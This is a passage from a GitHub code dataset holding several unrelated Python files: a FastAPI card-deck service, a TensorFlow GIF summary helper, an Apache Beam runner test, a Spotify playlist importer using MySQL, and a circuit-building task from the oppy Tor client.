FastApi ####\napp = FastAPI()\n\n#### Message de la racine ####\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Miam Miam le chocolat\"}\n\n#### Création d'un deck sur creer un deck ####\n@app.get(\"/creer-un-deck/\")\nasync def get_id(): \n r = getNewDeckID(\"https://deckofcardsapi.com/api/deck/new/shuffle/?deck_count=1\")\n return {\"deck_id\" : r}\n\n### Tirage de cartes sur cartes ###\n@app.post(\"/cartes\")\ndef draw(nb : TireCarte):\n res = DrawCards(nb.card_id,nb.nb_cartes)\n return(res)\n","repo_name":"MailineN/conceptionLogicielle","sub_path":"Webservice/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10468257752","text":"import tempfile\nimport moviepy.editor as mpy\nimport numpy as np\nimport tensorflow as tf\n\n\ndef make_video_summaries(ncntxt, videos, name):\n if not isinstance(videos[0], list):\n videos = [tf.unstack(v, axis=1) for v in videos]\n seq_len = len(videos[0])\n columns = []\n videos = [vid[-(seq_len-ncntxt):] for vid in videos]\n for t in range(seq_len-ncntxt):\n colimages = [vid[t] for vid in videos]\n columns.append(tf.concat(colimages, axis=1))\n summary = tf.summary.tensor_summary(name , tf.cast(tf.stack(columns, axis=1) * 255, tf.uint8))\n return summary\n\ndef convert_tensor_to_gif_summary(summ):\n if isinstance(summ, bytes):\n summary_proto = tf.Summary()\n summary_proto.ParseFromString(summ)\n summ = summary_proto\n\n summary = tf.Summary()\n for value in summ.value:\n tag = value.tag\n images_arr = tf.make_ndarray(value.tensor)\n\n if len(images_arr.shape) == 5:\n # concatenate batch dimension horizontally\n images_arr = np.concatenate(list(images_arr), axis=-2)\n if len(images_arr.shape) != 4:\n raise ValueError('Tensors must be 4-D or 5-D for gif summary.')\n if images_arr.shape[-1] != 3:\n raise ValueError('Tensors must have 3 channels.')\n\n # encode sequence of images into gif string\n clip = mpy.ImageSequenceClip(list(images_arr), fps=4)\n with tempfile.NamedTemporaryFile() as f:\n filename = f.name + '.gif'\n clip.write_gif(filename, verbose=False)\n with open(filename, 'rb') as f:\n encoded_image_string = f.read()\n\n image = tf.Summary.Image()\n image.height = images_arr.shape[-3]\n image.width = images_arr.shape[-2]\n image.colorspace = 3 # code for 'RGB'\n image.encoded_image_string = encoded_image_string\n summary.value.add(tag=tag, image=image)\n return summary","repo_name":"febert/robustness_via_retrying","sub_path":"python_visual_mpc/video_prediction/utils_vpred/video_summary.py","file_name":"video_summary.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"62"} +{"seq_id":"3869690365","text":"from __future__ import print_function\n\nimport logging\nimport platform\nimport signal\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport traceback\nimport unittest\n\nimport grpc\n\nimport apache_beam as beam\nfrom apache_beam.portability.api import beam_job_api_pb2\nfrom apache_beam.portability.api import beam_job_api_pb2_grpc\nfrom apache_beam.runners.portability import fn_api_runner_test\nfrom apache_beam.runners.portability import portable_runner\nfrom apache_beam.runners.portability.local_job_service import LocalJobServicer\nfrom apache_beam.testing.util import assert_that\nfrom apache_beam.testing.util import equal_to\n\n\nclass PortableRunnerTest(fn_api_runner_test.FnApiRunnerTest):\n\n TIMEOUT_SECS = 30\n\n _use_grpc = False\n _use_subprocesses = False\n\n def setUp(self):\n if platform.system() != 'Windows':\n def handler(signum, frame):\n msg = 'Timed out after %s seconds.' % self.TIMEOUT_SECS\n print('=' * 20, msg, '=' * 20)\n traceback.print_stack(frame)\n threads_by_id = {th.ident: th for th in threading.enumerate()}\n for thread_id, stack in sys._current_frames().items():\n th = threads_by_id.get(thread_id)\n print()\n print('# Thread:', th or thread_id)\n traceback.print_stack(stack)\n raise BaseException(msg)\n signal.signal(signal.SIGALRM, handler)\n signal.alarm(self.TIMEOUT_SECS)\n\n def tearDown(self):\n if platform.system() != 'Windows':\n signal.alarm(0)\n\n @staticmethod\n def _pick_unused_port():\n \"\"\"Not perfect, but we have to provide a port to the subprocess.\"\"\"\n # TODO(robertwb): Consider letting the subprocess communicate a choice of\n # port back.\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind(('localhost', 0))\n _, port = s.getsockname()\n s.close()\n return port\n\n @classmethod\n def _start_local_runner_subprocess_job_service(cls):\n if cls._subprocess:\n # Kill the old one if it exists.\n cls._subprocess.kill()\n # TODO(robertwb): Consider letting the subprocess pick one and\n # communicate it back...\n port = cls._pick_unused_port()\n logging.info('Starting server on port %d.', port)\n cls._subprocess = subprocess.Popen([\n sys.executable, '-m',\n 'apache_beam.runners.portability.local_job_service_main', '-p',\n str(port), '--worker_command_line',\n '%s -m apache_beam.runners.worker.sdk_worker_main' % sys.executable\n ])\n address = 'localhost:%d' % port\n job_service = beam_job_api_pb2_grpc.JobServiceStub(\n grpc.insecure_channel(address))\n logging.info('Waiting for server to be ready...')\n start = time.time()\n timeout = 30\n while True:\n time.sleep(0.1)\n if cls._subprocess.poll() is not None:\n raise RuntimeError(\n 'Subprocess terminated unexpectedly with exit code %d.' %\n cls._subprocess.returncode)\n elif time.time() - start > timeout:\n raise RuntimeError(\n 'Pipeline timed out waiting for job service subprocess.')\n else:\n try:\n job_service.GetState(\n beam_job_api_pb2.GetJobStateRequest(job_id='[fake]'))\n break\n except grpc.RpcError as exn:\n if exn.code != grpc.StatusCode.UNAVAILABLE:\n # We were able to contact the service for our fake state request.\n break\n logging.info('Server ready.')\n return address\n\n @classmethod\n def _create_job_service(cls):\n if cls._use_subprocesses:\n return cls._start_local_runner_subprocess_job_service()\n elif cls._use_grpc:\n # Use GRPC for workers.\n cls._servicer = LocalJobServicer(use_grpc=True)\n return 'localhost:%d' % cls._servicer.start_grpc_server()\n else:\n # Do not use GRPC for worker.\n cls._servicer = LocalJobServicer(use_grpc=False)\n return 'localhost:%d' % cls._servicer.start_grpc_server()\n\n @classmethod\n def get_runner(cls):\n # Don't inherit.\n if '_runner' not in cls.__dict__:\n cls._runner = portable_runner.PortableRunner(\n job_service_address=cls._create_job_service())\n return cls._runner\n\n @classmethod\n def tearDownClass(cls):\n if hasattr(cls, '_subprocess'):\n cls._subprocess.kill()\n time.sleep(0.1)\n\n def create_pipeline(self):\n return beam.Pipeline(self.get_runner())\n\n def test_assert_that(self):\n # TODO: figure out a way for runner to parse and raise the\n # underlying exception.\n with self.assertRaises(Exception):\n with self.create_pipeline() as p:\n assert_that(p | beam.Create(['a', 'b']), equal_to(['a']))\n\n def test_error_message_includes_stage(self):\n # TODO: figure out a way for runner to parse and raise the\n # underlying exception.\n with self.assertRaises(Exception):\n with self.create_pipeline() as p:\n def raise_error(x):\n raise RuntimeError('x')\n # pylint: disable=expression-not-assigned\n (p\n | beam.Create(['a', 'b'])\n | 'StageA' >> beam.Map(lambda x: x)\n | 'StageB' >> beam.Map(lambda x: x)\n | 'StageC' >> beam.Map(raise_error)\n | 'StageD' >> beam.Map(lambda x: x))\n\n def test_error_traceback_includes_user_code(self):\n # TODO: figure out a way for runner to parse and raise the\n # underlying exception.\n raise unittest.SkipTest('TODO')\n\n # Inherits all tests from fn_api_runner_test.FnApiRunnerTest\n\n\nclass PortableRunnerTestWithGrpc(PortableRunnerTest):\n _use_grpc = True\n\n\n@unittest.skip(\"BEAM-3040\")\nclass PortableRunnerTestWithSubprocesses(PortableRunnerTest):\n _use_grpc = True\n _use_subprocesses = True\n\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.INFO)\n unittest.main()\n","repo_name":"tchken/Cloud-Dataflow-Batch-Processing","sub_path":"env/lib/python2.7/site-packages/apache_beam/runners/portability/portable_runner_test.py","file_name":"portable_runner_test.py","file_ext":"py","file_size_in_byte":5723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"19649281553","text":"import sys\nimport json\nimport warnings\nimport MySQLdb\nimport clef.spotify as spotify\n\nfrom datetime import datetime, timedelta\nfrom flask import abort\nfrom clef import mysql, app\nfrom clef.artist import Artist\nfrom clef.track import Track\nfrom clef.album import Album\n\n# uncomment when testing to stop and catch truncation and other MySQL warnings\n#warnings.filterwarnings('error', category=MySQLdb.Warning)\n\nclass Playlist:\n def __init__(self, id, owner=None, name=None, description=None, public=False, snapshot_id=None, status='New'):\n self.id = id\n self.owner = owner\n self.name = name\n\n if description is not None and len(description) > 255: description = description[:255]\n self.description = description\n self.public = False\n self.snapshot_id = snapshot_id\n self.status = status\n\n def __repr__(self):\n ctor_args = [\n 'id=\"%s\"' % self.id,\n 'owner=\"%s\"' % self.owner,\n 'name=None' if not self.name else 'name=\"%s\"' % self.name,\n 'description=None' if not self.description else 'description=\"%s\"' % self.description,\n 'public=%s' % self.public,\n 'snapshot_id=None' if not self.snapshot_id else 'snapshot_id=\"%s\"' % self.snapshot_id,\n 'status=\"%s\"' % self.status]\n return 'Playlist(%s)' % ', '.join(ctor_args)\n\n def _from_row(row):\n if row: return Playlist(row[0], row[1], row[2], row[3], row[4], row[5], row[6])\n\n def load(id):\n cursor = mysql.connection.cursor()\n cursor.execute('select id, owner, name, description, public, snapshot_id, status '\n 'from Playlist '\n 'where id = %s',\n (id,))\n\n row = cursor.fetchone()\n return Playlist._from_row(row)\n\n def for_user(user):\n cursor = mysql.connection.cursor()\n cursor.execute('select p.id, p.owner, p.name, p.description, p.public, p.snapshot_id, status '\n 'from Playlist p '\n ' inner join PlaylistFollow pf on p.id = pf.playlist_id '\n 'where pf.user_id = %s',\n (user.id,))\n return [Playlist._from_row(row) for row in cursor]\n\n def from_json(json):\n return Playlist(json['id'], json['owner']['id'], json['name'], json.get('description'),\n json['public'], json['snapshot_id'])\n\n def delete(self):\n mysql.connection.cursor().execute('delete from Playlist where id = %s', (self.id,))\n\n def mark_stale(id):\n app.logger.debug('Playlist %s is stale' % id)\n mysql.connection.cursor().execute(\"update Playlist set status='Stale' where id = %s\", (id,))\n\n def add_track(self, track, added_at, added_by):\n app.logger.debug('Adding track %s to playlist %s, added_at=%s, added_by=%s'\n % (track.id, self.id, added_at, added_by))\n cursor = mysql.connection.cursor()\n cursor.execute('insert into PlaylistTrack(playlist_id, track_id, added_at, added_by) '\n 'values(%s,%s,%s,%s) '\n 'on duplicate key update '\n 'added_at=%s, added_by=%s',\n (self.id, track.id, added_at, added_by, added_at, added_by))\n\n def add_many_tracks(playlist_id, track_playlist):\n cursor = mysql.connection.cursor()\n cursor.executemany(\"\"\"\n insert into PlaylistTrack(playlist_id, track_id, added_at, added_by)\n values (%s,%s,%s,%s)\n on duplicate key\n update added_at=values(added_at), added_by=values(added_by)\n \"\"\", [(playlist_id, tid, aa, ab) for tid, aa, ab in track_playlist])\n\n def remove_track(self, track):\n app.logger.debug('Removing track %s from playlist %s' % (track.id, self.id))\n cursor = mysql.connection.cursor()\n cursor.execute('delete from PlaylistTrack '\n 'where playlist_id = %s and track_id = %s ',\n (self.id, track.id))\n\n def add_image(self, width, height, url):\n cursor = mysql.connection.cursor()\n cursor.execute('insert into PlaylistImage(playlist_id, width, height, url) '\n 'values(%s,%s,%s,%s) '\n 'on duplicate key update '\n 'width=%s, height=%s, url=%s',\n (self.id, width, height, url,\n width, height, url))\n\n def save(self):\n cursor = mysql.connection.cursor()\n cursor.execute(\n 'insert into Playlist(id, owner, name, description, public, snapshot_id, status) '\n 'values (%s, %s, %s, %s, %s, %s, %s) '\n 'on duplicate key update '\n 'owner=%s, name=%s, description=%s, public=%s, snapshot_id=%s, status=%s',\n (self.id, self.owner, self.name, self.description, self.public, self.snapshot_id, self.status,\n self.owner, self.name, self.description, self.public, self.snapshot_id, self.status))\n\n def import_playlist(user, pl_id, owner_id, albums, artists, tracks):\n new_track_count = 0\n new_album_count = 0\n new_artist_count = 0\n playlist_js = spotify.get_playlist(user, pl_id, owner_id)\n if playlist_js is None: return None, 0, 0, 0\n\n pl = Playlist.from_json(playlist_js)\n pl.save()\n\n playlist_tracks = list()\n playlist_track_ids = set()\n new_tracks = dict()\n for item in spotify.get_playlist_tracks(user, pl.id, pl.owner):\n pt = item['track']\n if pt['id'] is None:\n # skip empty garbage tracks\n continue\n playlist_track_ids.add(pt['id'])\n playlist_tracks.append((pt['id'], pt.get('added_at'), pt.get('added_by', {}).get('id')))\n if pt['id'] not in tracks: new_tracks[pt['id']] = pt\n\n # remove any tracks no longer in the playlist\n existing_tracks = list(Track.for_playlist(pl))\n app.logger.debug(\"existing tracks in %s: %s\" % (pl.id, len(existing_tracks)))\n for existing_track in Track.for_playlist(pl):\n if existing_track.id not in playlist_track_ids:\n pl.remove_track(existing_track)\n elif existing_track.id in new_tracks:\n # else we already had this track, so can remove it from new tracks\n del new_tracks[existing_track.id]\n\n # try to fetch any new tracks from the database\n have_tracks = Track.load_many(new_tracks.keys())\n tracks.update(have_tracks)\n for id in have_tracks.keys():\n del new_tracks[id]\n\n # any tracks that still aren't found are actually new\n new_albums = dict()\n new_artists = dict()\n track_albums = list()\n track_artists = list()\n app.logger.debug('%s new tracks' % len(new_tracks))\n new_track_count += len(new_tracks)\n for tr in new_tracks.values():\n alid = tr['album']['id']\n # skip null albums - this is normal\n if alid is None: continue\n track_albums.append((tr['id'], alid))\n if alid not in albums: new_albums[alid] = tr['album']\n\n for ar in tr['artists']:\n arid = ar['id']\n track_artists.append((tr['id'], arid))\n if arid not in artists: new_artists[arid] = ar\n\n # try to fetch albums from the database and ignore albums we already have\n have_albums = Album.load_many(new_albums.keys())\n albums.update(have_albums)\n for id in have_albums.keys():\n del new_albums[id]\n\n app.logger.debug('%s new albums' % len(new_albums))\n\n # create the albums\n albums_to_save = list()\n album_artists = list()\n for al in spotify.get_albums(user, new_albums.keys()):\n album = Album.import_json(al)\n albums[album.id] = album\n albums_to_save.append(album)\n for ar in al['artists']:\n album_artists.append((album.id, arid))\n if ar['id'] in artists: continue\n if ar['id'] in new_artists: continue\n new_artists[arid] = ar\n\n Album.save_many(albums_to_save)\n\n # try to fetch artists from the database and ignore artists we already have\n have_artists = Artist.load_many(new_artists.keys())\n artists.update(have_artists)\n for id in have_artists.keys():\n del new_artists[id]\n\n app.logger.debug('%s new artists' % len(new_artists))\n\n # remaining new_artists are truly new artists and need to be imported from spotify\n artists_to_save = list()\n for ar in spotify.get_artists(user, new_artists.keys()):\n artist = Artist.import_json(ar)\n artists[artist.id] = artist\n artists_to_save.append(artist)\n\n Artist.save_many(artists_to_save)\n Album.link_many_to_many_artists(album_artists)\n\n tracks_to_save = dict()\n for tr in spotify.get_tracks(user, new_tracks.keys()):\n track = Track.from_json(tr)\n tracks_to_save[track.id] = track\n\n features = spotify.get_audio_features(user, tracks_to_save.keys())\n for track_features in features:\n tracks_to_save[track_features['id']].update_features(track_features)\n\n Track.save_many(tracks_to_save.values())\n Track.link_many_to_many_artists(track_artists)\n Playlist.add_many_tracks(pl.id, playlist_tracks)\n\n pl.status = 'Ready'\n pl.save()\n\n return pl, new_track_count, new_album_count, new_artist_count\n\n def _import_user_playlists(user, playlist_id=None, force_reimport=False, continue_on_error=True,\n album_cache={}, track_cache={}, artist_cache={}):\n \"\"\"\n Imports one or a set of playlists for a user.\n Returns the number of tracks, albums, and artists added.\n \"\"\"\n new_track_count = 0\n new_album_count = 0\n new_artist_count = 0\n\n for playlist_item_js in spotify.get_user_playlists(user):\n pl_id = playlist_item_js['id']\n if playlist_id != None and pl_id != playlist_id:\n continue\n\n owner_id = playlist_item_js['owner']['id']\n snapshot_id = playlist_item_js['snapshot_id']\n pl = Playlist.load(pl_id)\n if pl is not None and pl.snapshot_id == snapshot_id and not force_reimport:\n app.logger.debug('playlist unchanged (snapshot_id: %s).' % pl.snapshot_id)\n else:\n if pl is None:\n app.logger.debug('new playlist %s' % pl_id)\n elif pl.snapshot_id != snapshot_id:\n app.logger.debug('stale: old snapshot_id %s, new snapshot_id %s' % (pl.snapshot_id, snapshot_id))\n else:\n app.logger.debug('force_reimport')\n pl, tc, alc, arc = Playlist.import_playlist(user, pl_id, owner_id, album_cache, artist_cache, track_cache)\n new_track_count += tc\n new_album_count += alc\n new_artist_count += arc\n\n if pl is None:\n app.logger.warn('no playlist %s loaded, so not adding follow for user %s' % (pl_id, user.id))\n elif user is None:\n app.logger.warn('no user loaded, so not adding follow of playlist %s' % (pl.id))\n else:\n app.logger.debug('adding follow of %s to user %s' % (pl.id, user.id))\n user.add_playlist(pl)\n\n app.logger.debug('total tracks: %s, albums: %s, artists: %s' % (len(track_cache), len(album_cache), len(artist_cache)))\n return new_track_count, new_album_count, new_artist_count\n\n def import_user_playlist(user, playlist_id, force_reimport=False,\n album_cache={}, track_cache={}, artist_cache={}):\n return Playlist._import_user_playlists(user, playlist_id=playlist_id, force_reimport=force_reimport,\n album_cache=album_cache, track_cache=track_cache, artist_cache=artist_cache)\n\n def import_user_playlists(user, force_reimport=False):\n \"\"\"\n Reloads all of a users playlists from spotify.\n Returns the count of tracks, albums, and artists.\n \"\"\"\n result = Playlist._import_user_playlists(user, force_reimport=force_reimport)\n app.logger.debug('Setting user status to Ready')\n user.status = 'Ready'\n user.save()\n return result\n\n def remove_playlists(user, playlist_id=None):\n cursor = mysql.connection.cursor()\n cursor.execute(\n 'delete from PlaylistFollow where playlist_id = %s',\n (playlist_id,))\n cursor.execute(\n 'delete from PlaylistImage where playlist_id = %s',\n (playlist_id,))\n cursor.execute(\n 'delete from Playlist where id = %s',\n (playlist_id,))\n\n def get_followers(playlist_id):\n cur = mysql.connection.cursor()\n cur.execute(\"\"\"\n select user_id from PlaylistFollow where playlist_id = %s\n \"\"\", (playlist_id,))\n return [user_id for user_id, in cur]\n\nclass PlaylistRefreshResults:\n def __init__(self, new=[], updated=[], deleted=[], track_count=0, artist_count=0, album_count=0):\n self.new = new\n self.updated = updated\n self.deleted = deleted\n self.track_count = track_count\n self.artist_count = artist_count\n self.album_count = album_count\n\n def __repr__(self):\n new = '[]' if len(self.new) == 0 else \"['%s']\" % \"', '\".join(self.new)\n updated = '[]' if len(self.updated) == 0 else \"['%s']\" % \"', '\".join(self.updated)\n deleted = '[]' if len(self.deleted) == 0 else \"['%s']\" % \"', '\".join(self.deleted)\n return ('PlaylistRefreshResults(new=%s, updated=%s, deleted=%s, track_count=%s, artist_count=%s, album_count=%s)'\n % (new, updated, deleted, self.track_count, self.artist_count, self.album_count))\n\nclass PlaylistSummaryView:\n \"\"\"Gets a summary of a user's playlists - data shown on the /user/{id}.\"\"\"\n def __init__(self, id, name, track_count, image_width=None, image_height=None, image_url=None):\n self.id = id\n self.name = name\n self.track_count = track_count\n self.image_width = image_width\n self.image_height = image_height\n self.image_url = image_url\n\n def __repr__(self):\n return ('PlaylistSummaryView(id=\"%s\", name=\"%s\", track_count=%s, image_width=%s, image_height=%s, image_url=\"%s\")'\n % (self.id, self.name, self.track_count, self.image_width, self.image_height, self.image_url))\n\n def for_user(user):\n cursor = mysql.connection.cursor()\n cursor.execute(\"\"\"\n select p.id, p.name, count(*) as tracks\n from PlaylistFollow pf\n inner join Playlist p on pf.playlist_id = p.id\n inner join PlaylistTrack pt on p.id = pt.playlist_id\n where pf.user_id = %s\n group by p.id, p.name\n order by p.name;\n\n select p.id, pi.width, pi.height, pi.url\n from PlaylistFollow pf\n inner join Playlist p on pf.playlist_id = p.id\n inner join PlaylistImage pi on p.id = pi.playlist_id\n where pf.user_id = %s;\n \"\"\", (user.id,user.id))\n\n playlists = list([PlaylistSummaryView(id=row[0], name=row[1], track_count=row[2]) for row in cursor])\n images = dict()\n cursor.nextset()\n for row in cursor:\n playlist_id = row[0]\n if row[1] is None: continue\n if row[2] is None: continue\n area = row[1]*row[2]\n if playlist_id not in images:\n images[playlist_id] = dict(width=row[1], height=row[2], url=row[3], area=area)\n elif area > images[playlist_id]['area']:\n images[playlist_id] = dict(width=row[1], height=row[2], url=row[3], area=area)\n\n for pl in playlists:\n if pl.id in images:\n pl.image_width = images[pl.id]['width']\n pl.image_height = images[pl.id]['height']\n pl.image_url = images[pl.id]['url']\n\n return playlists\n\nclass PlaylistDetailsView:\n \"\"\"Gets details about a particular playlist for a user - data for /user/{uid}/playlist/{pid}.\"\"\"\n def __init__(self):\n self.user_id = None\n self.playlist_id = None\n self.owner_id = None\n self.name = None\n self.explicitness = None\n self.popularity = None\n self.acousticness = None\n self.danceability = None\n self.energy = None\n self.instrumentalness = None\n self.liveness = None\n self.loudness = None\n self.speechiness = None\n self.tempo = None\n self.valence = None\n self.previews = None\n self.genres = None\n\n def get(user_id, playlist_id):\n cursor = mysql.connection.cursor()\n cursor.execute(\"\"\"\n -- playlist summary metrics\n select p.id, p.owner, p.name,\n avg(acousticness) as acousticness,\n avg(danceability) as danceability,\n avg(energy) as energy,\n avg(instrumentalness) as instrumentalness,\n avg(liveness) as liveness,\n avg(loudness) as loudness,\n avg(speechiness) as speechiness,\n avg(tempo) as tempo,\n avg(valence) as valence\n from Playlist p\n inner join PlaylistTrack pt on p.id = pt.playlist_id\n inner join Track t on pt.track_id = t.id\n where p.id = %s\n group by p.id;\n\n -- track previews\n select t.preview_url\n from PlaylistTrack pt\n inner join Track t on pt.track_id = t.id\n where pt.playlist_id = %s\n and t.preview_url is not null\n order by t.popularity desc\n limit 10;\n\n -- genre analysis\n select ag.genre, count(*)\n from PlaylistTrack pt\n inner join TrackArtist ta on pt.track_id = ta.track_id\n inner join ArtistGenre ag on ta.artist_id = ag.artist_id\n where pt.playlist_id = %s\n group by ag.genre\n order by count(*) desc\n limit 10;\n \"\"\",\n (playlist_id, playlist_id, playlist_id))\n\n view = PlaylistDetailsView()\n\n row = cursor.fetchone()\n view.id = row[0]\n view.owner = row[1]\n view.name = row[2]\n view.acousticness = row[3]\n view.danceability = row[4]\n view.energy = row[5]\n view.instrumentalness = row[6]\n view.liveness = row[7]\n view.loudness = row[8]\n view.speechiness = row[9]\n view.tempo = row[10]\n view.valence = row[11]\n\n cursor.nextset()\n view.previews = [row[0] for row in cursor]\n\n cursor.nextset()\n view.genres = {row[0]:row[1] for row in cursor}\n\n return view\n\nclass AdminPlaylistSummaryViewEntry:\n def __init__(self, row):\n self.id = row[0]\n self.owner = row[1]\n self.name = row[2]\n self.description = row[3]\n self.track_count = row[4]\n self.follower_count = None\n self.genres = []\n\nclass AdminPlaylistSummaryView:\n def __init__(self, offset=0, limit=100):\n self.offset = 0\n self.limit = 100\n cursor = mysql.connection.cursor()\n cursor.execute(\"\"\"\n select count(*) from Playlist;\n\n select p.id, p.owner, p.name, p.description, count(pt.playlist_id)\n from Playlist p\n left outer join PlaylistTrack pt on p.id = pt.playlist_id\n group by p.id, p.owner, p.name, p.description\n order by p.name\n limit %s, %s;\n\n select p.id, count(pf.user_id)\n from Playlist p\n left outer join PlaylistFollow pf on p.id = pf.playlist_id\n group by p.id\n order by p.name\n limit %s, %s;\n \"\"\", (self.offset, self.limit, self.offset, self.limit))\n row = cursor.fetchone()\n self.total_playlists = row[0]\n self.has_more = self.total_playlists > (self.offset + self.limit)\n\n cursor.nextset()\n playlists = {row[0]:AdminPlaylistSummaryViewEntry(row) for row in cursor}\n\n cursor.nextset()\n for row in cursor:\n if row[0] in playlists:\n playlists[row[0]].follower_count = row[1]\n\n self.playlists = playlists.values()\n","repo_name":"cbilson/clef","sub_path":"clef/playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":21091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"41626764471","text":"import logging\n\nfrom twisted.internet import defer\nfrom twisted.python.failure import Failure\n\nimport oppy.crypto.util as crypto\nimport oppy.path.path as path\nimport oppy.crypto.ntor as ntor\n\nfrom oppy.cell.fixedlen import Create2Cell, Created2Cell, DestroyCell\nfrom oppy.cell.relay import RelayExtend2Cell, RelayExtended2Cell\nfrom oppy.cell.util import LinkSpecifier\nfrom oppy.circuit.circuit import Circuit\nfrom oppy.circuit.definitions import CircuitType\n\n\n# Major TODO's:\n# - catch/handle crypto exceptions explicitly\n# - catch/handle connection.send exceptions explicitly\n# - catch/handle specific getPath exceptions\n# - handle cells with unexpected origins\n# - docs\n# - figure out where alreadyCalledError is coming from when\n# building a path fails\nclass CircuitBuildTask(object):\n\n def __init__(self, connection_manager, circuit_manager, netstatus,\n guard_manager, _id, circuit_type=None, request=None,\n autobuild=True):\n self._connection_manager = connection_manager\n self._circuit_manager = circuit_manager\n self._netstatus = netstatus\n self._guard_manager = guard_manager\n self.circuit_id = _id\n self.circuit_type = circuit_type\n self.request = request\n self._hs_state = None\n self._path = None\n self._conn = None\n self._crypt_path = []\n self._read_queue = defer.DeferredQueue()\n self._autobuild = autobuild\n self._tasks = None\n self._building = False\n self._current_task = None\n\n if autobuild is True:\n self.build()\n\n def build(self):\n if self._building is True:\n msg = \"Circuit {} already started build process.\"\n raise RuntimeError(msg.format(self.circuit_id))\n\n try:\n # TODO: update for stable/fast flags based on circuit_type\n self._tasks = path.getPath(self._netstatus, self._guard_manager,\n exit_request=self.request)\n except Exception as e:\n self._buildFailed(e)\n return\n\n self._current_task = self._tasks\n self._tasks.addCallback(self._build)\n self._tasks.addCallback(self._buildSucceeded)\n self._tasks.addErrback(self._buildFailed)\n self._building = True\n\n def canHandleRequest(self, request):\n if self._path is None:\n if request.is_host:\n return True\n elif request.is_ipv4:\n return self.circuit_type == CircuitType.IPv4\n else:\n return self.circuit_type == CircuitType.IPv6\n else:\n return self._path.exit.microdescriptor.exit_policy.can_exit_to(port=request.port)\n\n def recv(self, cell):\n self._read_queue.put(cell)\n\n def destroyCircuitFromManager(self):\n msg = \"CircuitBuildTask {} destroyed from manager.\"\n msg = msg.format(self.circuit_id)\n self._current_task.errback(Failure(Exception(msg)))\n\n def destroyCircuitFromConnection(self):\n msg = \"CircuitBuildTask {} destroyed from connection.\"\n msg = msg.format(self.circuit_id)\n self._current_task.errback(Failure(Exception(msg)))\n\n def _recvCell(self, _):\n self._current_task = self._read_queue.get()\n return self._current_task\n\n # NOTE: no errbacks are added because exceptions thrown in this inner\n # deferred will fire the errback added to the outer deferred\n def _build(self, cpath):\n self._path = cpath\n d = self._getConnection(self._path.entry)\n self._current_task = d\n d.addCallback(self._sendCreate2Cell, self._path.entry)\n d.addCallback(self._recvCell)\n d.addCallback(self._deriveCreate2CellSecrets, self._path.entry)\n for path_node in self._path[1:]:\n d.addCallback(self._sendExtend2Cell, path_node)\n d.addCallback(self._recvCell)\n d.addCallback(self._deriveExtend2CellSecrets, path_node)\n return d\n\n def _getConnection(self, path_node):\n\n d = self._connection_manager.getConnection(path_node.router_status_entry)\n self._current_task = d\n def addCirc(res):\n self._conn = res\n self._conn.addCircuit(self)\n return res\n d.addCallback(addCirc)\n return d\n\n def _sendCreate2Cell(self, _, path_node):\n self._hs_state = ntor.NTorState(path_node.microdescriptor)\n onion_skin = ntor.createOnionSkin(self._hs_state)\n create2 = Create2Cell.make(self.circuit_id, hdata=onion_skin)\n self._conn.send(create2)\n\n def _deriveCreate2CellSecrets(self, response, path_node):\n if isinstance(response, DestroyCell):\n msg = (\"DestroyCell received from {}.\"\n .format(path_node.router_status_entry.fingerprint))\n raise ValueError(msg)\n if not isinstance(response, Created2Cell):\n msg = (\"Unexpected cell {} received from {}.\"\n .format(response,\n path_node.router_status_entry.fingerprint))\n destroy = DestroyCell.make(self.circuit_id)\n self._conn.send(destroy)\n raise ValueError(msg)\n\n self._crypt_path.append(ntor.deriveRelayCrypto(self._hs_state,\n response))\n # TODO: implement this\n #self._hs_state.memwipe()\n self._hs_state = None\n\n def _sendExtend2Cell(self, _, path_node):\n lspecs = [LinkSpecifier(path_node),\n LinkSpecifier(path_node, legacy=True)]\n self._hs_state = ntor.NTorState(path_node.microdescriptor)\n onion_skin = ntor.createOnionSkin(self._hs_state)\n extend2 = RelayExtend2Cell.make(self.circuit_id, nspec=len(lspecs),\n lspecs=lspecs, hdata=onion_skin)\n crypt_cell = crypto.encryptCell(extend2, self._crypt_path,\n early=True)\n self._conn.send(crypt_cell)\n\n def _deriveExtend2CellSecrets(self, response, path_node):\n if isinstance(response, DestroyCell):\n msg = (\"Destroy cell received from {} on pending circuit {}.\"\n .format(path_node.router_status_entry.fingerprint,\n self.circuit_id))\n raise ValueError(msg)\n\n cell, _ = crypto.decryptCell(response, self._crypt_path)\n\n if not isinstance(cell, RelayExtended2Cell):\n msg = (\"CircuitBuildTask {} received an unexpected cell: {}. \"\n \"Destroying the circuit.\"\n .format(self.circuit_id, type(cell)))\n destroy = DestroyCell.make(self.circuit_id)\n self._conn.send(destroy)\n raise ValueError(msg)\n\n self._crypt_path.append(ntor.deriveRelayCrypto(self._hs_state, cell))\n # TODO: implement this\n #self._hs_state.memwipe()\n self._hs = None\n\n def _buildSucceeded(self, _):\n circuit = Circuit(self._circuit_manager, self.circuit_id, self._conn,\n self.circuit_type, self._path, self._crypt_path)\n self._conn.addCircuit(circuit)\n self._circuit_manager.circuitOpened(circuit)\n\n def _buildFailed(self, reason):\n msg = (\"Pending circuit {} failed. Reason: {}.\"\n .format(self.circuit_id, reason))\n logging.debug(msg)\n if self._conn is not None:\n self._conn.removeCircuit(self.circuit_id)\n self._circuit_manager.circuitDestroyed(self)\n","repo_name":"nskinkel/oppy","sub_path":"oppy/circuit/circuitbuildtask.py","file_name":"circuitbuildtask.py","file_ext":"py","file_size_in_byte":7575,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"70061137478","text":"\"\"\"empty message\n\nRevision ID: 085343396393\nRevises: 9c95f00565e4\nCreate Date: 2021-02-26 06:14:42.658529\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 